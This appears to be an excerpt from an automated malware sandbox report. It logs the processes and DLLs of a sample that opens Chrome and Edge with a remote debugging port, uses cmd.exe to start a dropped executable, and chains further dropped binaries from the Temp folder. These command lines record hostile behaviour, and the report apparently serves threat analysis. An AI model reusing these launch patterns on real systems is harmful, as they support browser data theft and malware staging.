Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2500,i,7014837265192263060,397092384164020080,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2112,i,9263266438792223972,21661427563449255,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2888 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6812 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7124 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7560 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7560 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCGHIJKE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHDGCGHIJKE.exe "C:\Users\user\DocumentsHDGCGHIJKE.exe"
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6800 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe "C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe "C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7524 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCGHIJKE.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2500,i,7014837265192263060,397092384164020080,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2112,i,9263266438792223972,21661427563449255,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2888 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6812 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7124 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7560 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7560 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6800 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7524 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHDGCGHIJKE.exe "C:\Users\user\DocumentsHDGCGHIJKE.exe"
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe "C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe "C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: ncrypt.dll
